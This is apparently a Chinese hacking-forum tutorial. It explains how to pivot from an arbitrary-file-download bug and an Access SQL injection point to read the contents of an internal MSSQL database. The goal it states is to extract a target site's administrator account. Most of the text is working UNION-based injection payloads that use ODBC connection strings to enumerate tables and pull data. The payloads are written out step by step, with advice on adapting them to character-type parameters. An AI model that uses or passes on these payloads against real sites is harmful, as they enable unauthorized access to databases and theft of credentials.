首先說明一點,這個方法很早就有了,不過用時大概在腦袋裡沉寂太久,已經處於忘卻狀態。感謝Trace提供資料。經常會遇到任意文件下載漏洞,一般處理的方法是把數據庫連接文件下載回來,然後遠程連接上。
首先說明一點,這個方法很早就有了,不過用時大概在腦袋裡沉寂太久,已經處於忘卻狀態。感謝Trace提供資料。
經常會遇到任意文件下載漏洞,一般處理的方法是把數據庫連接文件下載回來,然後遠程連接上去。最理想的狀態莫過於MSSQL和MYSQL,尤其是在數據庫和WEB不分離的情況下,備分SHELL,導出SHELL,可以用的方法很多。
不過要是數據庫和WEB分離,而且數據庫在內網不可上網,或者有防火牆等等 其他手段使得我們無法連上遠程數據庫時,不妨假設的再艱難一些,甚至無法找到一個mssql注射點時,很多情況下通常會束手無策。
這裡以 MSSQL為例子,很湊巧找到一個任意文件下載漏洞,直接下了WEB.CONFIG回來看,發現數據庫在內網,找了半天沒找到注射點,稍微旁注一下,有一 個站,可惜是ACCESS數據庫。猜不到表和後台。不過目標站的後台是知道的,然後准備從這個access注射點讀出目標站管理員帳戶。直觀一些,下面直 接給出我本地測試結果:
弄的簡單一點,就3個字段,ID,XM,XB,ID數字型,後面2個字符型。
假設存在漏洞的文件中,執行SQL語句 select * from test whrere id = 1
這裡有3個字段,我們用UNION聯合查詢給他匹配一下就是(黑盒操作時用order by 或者窮舉來確定字段個數)
SELECT * FROM test where id=999999 union Select top 1 1,2,name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].ku
這裡的master庫中我建立了一個名為KU的表,上面這個查詢語句中,由於id=999999不存在,在聯合查詢的作用下,web上原本顯示access數據庫內容的位置顯示出了我們構造的UNION查詢結果,name字段處於一個字符型的顯示位置。
ku這個表裡的name字段內容就會被顯示在web上相應的位置,不過這個顯然不是我們想要的,我們要的是整個表的結構和內容,以master為例子,這裡是模擬的結果,事先我已經知道master的結構,待會方便和結果比對校驗是否有錯。
SELECT * FROM test where id=999999 union Select top 1 1,2,table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables
這樣master庫的第一個表名就出來了。
獲得後面的表名也很簡單。
SELECT * FROM test where id=999999 union Select top 1 1,2,table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables where table_name not in (select top 1 table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=****;DataBase=master].information_schema.tables
以次類以常規方法推取得字段名和字段內容,代碼煩瑣自行研究下。
如果數據庫裡的ID是字符型,則
SELECT * FROM test where id='999999' union Select top 1 1,2,table_name from [ODBC;Driver=SQL Server;UID=dbo;PWD=dba;Server=***;DataBase=master].information_schema.tables where '1'='1'